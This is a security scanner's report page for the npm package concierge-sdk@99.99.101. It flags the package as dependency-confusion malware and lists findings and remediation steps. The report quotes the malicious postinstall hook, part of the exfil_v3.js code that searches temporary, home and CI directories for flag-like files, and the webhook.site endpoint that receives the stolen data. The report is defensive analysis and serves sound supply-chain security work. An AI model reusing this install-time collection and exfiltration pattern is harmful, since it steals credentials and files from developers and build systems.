registry / Credential exfiltration / concierge-sdk
concierge-sdk
Continental Concierge SDK
This report shows the evidence for concierge-sdk@99.99.101. 3 of 3 known versions are blocked or flagged. See all versions.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThis is concrete install-time data collection and exfiltration to a third-party endpoint. The lifecycle hook makes the behavior run without an explicit package API call.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation, through the postinstall lifecycle hook.
Impact
Sensitive local, shell, CI, and environment-file contents may be disclosed to a third party.
Mechanism
Install-time file and environment collection followed by HTTPS exfiltration.
Attack narrative
On npm installation, package.json launches exfil_v3.js. The script checks runtime and CI context, searches temporary, home, and workspace directories for files named like flags or payload markers, and reads selected environment-related files. It serializes the collected data and posts it to a fixed webhook.site endpoint. The exported SDK code does not require this behavior, so the automatic lifecycle execution is unrelated to the stated package function.
AI rationale
This is concrete install-time data collection and exfiltration to a third-party endpoint. The lifecycle hook makes the behavior run without an explicit package API call.
Evidence
package.jsonexfil_v3.js/tmp/.icx-runtime/etc/environment
Network endpoints1
webhook.site/4f4566fc-e72f-415b-818f-fdb42dc9891d
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs the collection script during npm installation.
- The script searches temporary, home, and CI workspace directories for files with sensitive-looking names.
- The script reads shell and environment files, then posts the collected data to a third-party webhook.
Evidence against
- The public index entrypoint is a small inert client stub.
- No legitimate SDK functionality invokes the collection script.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
UrlStrings
NoLicense
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node exfil_v3.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgexfil_v3.jsView file
•bounded command output exfiltration = const flagfile = '/tmp/.icx-runtime';\n if (fs.existssync(flagfile)) {\n try {\n const content = fs.readfilesync(flagfile, 'utf8');\n exfildata.icx_runtime_flag = content.trim();\n } catch (e) {\n exfildata.icx_runtime_error = string(e);\n }\n }\n\n \n const searchdirs = ['/tmp', process.env.home, process.env.github_workspace];\n exfildata.file_search = {};\n \n for (const dir of searchdirs) {\n if (!dir || !fs.existssync(dir)) continue;\n try {\n const files = execsync(`find "${dir}" -name "*flag*" -o -name "*pwn*" 2>/dev/null | head -20`, \n { encoding: 'utf8', timeout: 5000 });\n if (files.trim()) {\n exfildata.file_search[dir
Critical
Command Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
exfil_v3.jsView on unpkgFindings
2 Critical6 High3 Medium4 Low
CriticalCommand Output Exfiltrationexfil_v3.js
CriticalTrigger Reachable Dangerous Capabilityexfil_v3.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processexfil_v3.js
HighShell
HighSame File Env Network Executionexfil_v3.js
HighTrigger Reachable Command Output Exfiltrationexfil_v3.js
HighTrigger Reachable External Post Callbackexfil_v3.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to concierge-sdk@99.99.101.
The versions list below shows the verdict for each recorded version.
- Avoid installing concierge-sdk@99.99.101. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.